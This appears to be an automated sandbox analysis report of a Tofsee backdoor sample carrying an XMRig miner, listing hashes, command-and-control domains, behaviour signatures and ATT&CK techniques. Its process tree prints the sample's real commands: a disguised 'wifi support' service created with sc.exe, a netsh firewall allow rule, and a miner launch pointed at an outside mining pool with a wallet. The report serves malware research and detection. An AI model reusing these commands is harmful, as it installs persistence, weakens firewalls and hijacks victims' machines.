Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10_x64
  • resource
    win10-20220414-en
  • resource tags

    arch:x64arch:x86image:win10-20220414-enlocale:en-usos:windows10-1703-x64system
  • submitted
    09-08-2022 21:02

General

  • Target

    fff6892047a5f1e27f76a8a5880e1f47f88d541f7f84ecccf0680b444cf58c48.exe

  • Size

    241KB

  • MD5

    8cb57c7593e7642a0e5e93ae995b7c69

  • SHA1

    82740cfc32b1a4fc9290da572f777b1ccd7d05f1

  • SHA256

    fff6892047a5f1e27f76a8a5880e1f47f88d541f7f84ecccf0680b444cf58c48

  • SHA512

    24e88fe29bd5448919874314ce1c5b77acc4b0473de42dcf9c43bdafaf53fb30b06ed627e7702c7c417e9bf3cde64d738f81b9dd7a23695f6160e6e44f9e34fd

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fff6892047a5f1e27f76a8a5880e1f47f88d541f7f84ecccf0680b444cf58c48.exe
    "C:\Users\Admin\AppData\Local\Temp\fff6892047a5f1e27f76a8a5880e1f47f88d541f7f84ecccf0680b444cf58c48.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2648
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dhtrhvpu\
      2⤵
        PID:2084
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\oaygbyvc.exe" C:\Windows\SysWOW64\dhtrhvpu\
        2⤵
          PID:4668
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dhtrhvpu binPath= "C:\Windows\SysWOW64\dhtrhvpu\oaygbyvc.exe /d\"C:\Users\Admin\AppData\Local\Temp\fff6892047a5f1e27f76a8a5880e1f47f88d541f7f84ecccf0680b444cf58c48.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4968
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description dhtrhvpu "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4760
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start dhtrhvpu
          2⤵
          • Launches sc.exe
          PID:3744
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3456
      • C:\Windows\SysWOW64\dhtrhvpu\oaygbyvc.exe
        C:\Windows\SysWOW64\dhtrhvpu\oaygbyvc.exe /d"C:\Users\Admin\AppData\Local\Temp\fff6892047a5f1e27f76a8a5880e1f47f88d541f7f84ecccf0680b444cf58c48.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3616
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3260
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4336

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\oaygbyvc.exe
        Filesize

        14.5MB

        MD5

        03bddfedc321500fa76f9e9852876dbb

        SHA1

        b3d773741b5781bbeebb038e84ceaf7e036a003a

        SHA256

        43b4ed09f5d863e8f7d5938ea97565571045b2d0bb6bc98c47e50273d1c70009

        SHA512

        f12f1cb4a585b3da7732e0beb6073b9e16796e1fc56c036c4c8236f176e7230da817d27af816f53081cc7d7ada9fc0ddb372357c19337cfb35668a745fe2f200

      • C:\Windows\SysWOW64\dhtrhvpu\oaygbyvc.exe
        Filesize

        14.5MB

        MD5

        03bddfedc321500fa76f9e9852876dbb

        SHA1

        b3d773741b5781bbeebb038e84ceaf7e036a003a

        SHA256

        43b4ed09f5d863e8f7d5938ea97565571045b2d0bb6bc98c47e50273d1c70009

        SHA512

        f12f1cb4a585b3da7732e0beb6073b9e16796e1fc56c036c4c8236f176e7230da817d27af816f53081cc7d7ada9fc0ddb372357c19337cfb35668a745fe2f200

      • memory/2084-167-0x0000000000000000-mapping.dmp
      • memory/2084-168-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2084-169-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2084-170-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2084-171-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2084-173-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-155-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-161-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-123-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-124-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-125-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-126-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-127-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-128-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-129-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-130-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-131-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-132-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-133-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-134-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-135-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-137-0x00000000027F6000-0x0000000002806000-memory.dmp
        Filesize

        64KB

      • memory/2648-136-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-138-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-139-0x0000000002710000-0x0000000002723000-memory.dmp
        Filesize

        76KB

      • memory/2648-140-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-141-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-142-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-143-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-144-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-145-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-119-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-147-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-148-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-149-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-151-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-152-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-150-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-153-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-154-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-121-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-156-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-157-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-158-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-122-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-159-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-146-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-162-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-163-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-164-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-165-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-166-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-230-0x0000000000400000-0x00000000024C2000-memory.dmp
        Filesize

        32.8MB

      • memory/2648-120-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-118-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2648-217-0x0000000002710000-0x0000000002723000-memory.dmp
        Filesize

        76KB

      • memory/2648-215-0x00000000027F6000-0x0000000002806000-memory.dmp
        Filesize

        64KB

      • memory/2648-160-0x0000000000400000-0x00000000024C2000-memory.dmp
        Filesize

        32.8MB

      • memory/3260-366-0x0000000000E20000-0x0000000000E35000-memory.dmp
        Filesize

        84KB

      • memory/3260-485-0x0000000000E20000-0x0000000000E35000-memory.dmp
        Filesize

        84KB

      • memory/3260-292-0x0000000000E29A6B-mapping.dmp
      • memory/3456-211-0x0000000000000000-mapping.dmp
      • memory/3616-484-0x0000000000400000-0x00000000024C2000-memory.dmp
        Filesize

        32.8MB

      • memory/3616-305-0x0000000000400000-0x00000000024C2000-memory.dmp
        Filesize

        32.8MB

      • memory/3616-260-0x0000000002570000-0x00000000026BA000-memory.dmp
        Filesize

        1.3MB

      • memory/3744-196-0x0000000000000000-mapping.dmp
      • memory/4336-511-0x00000000032E259C-mapping.dmp
      • memory/4668-177-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4668-175-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4668-181-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4668-172-0x0000000000000000-mapping.dmp
      • memory/4668-174-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4668-176-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4760-185-0x0000000000000000-mapping.dmp
      • memory/4760-187-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4760-186-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4760-188-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4760-189-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4968-180-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4968-178-0x0000000000000000-mapping.dmp
      • memory/4968-179-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4968-183-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4968-182-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB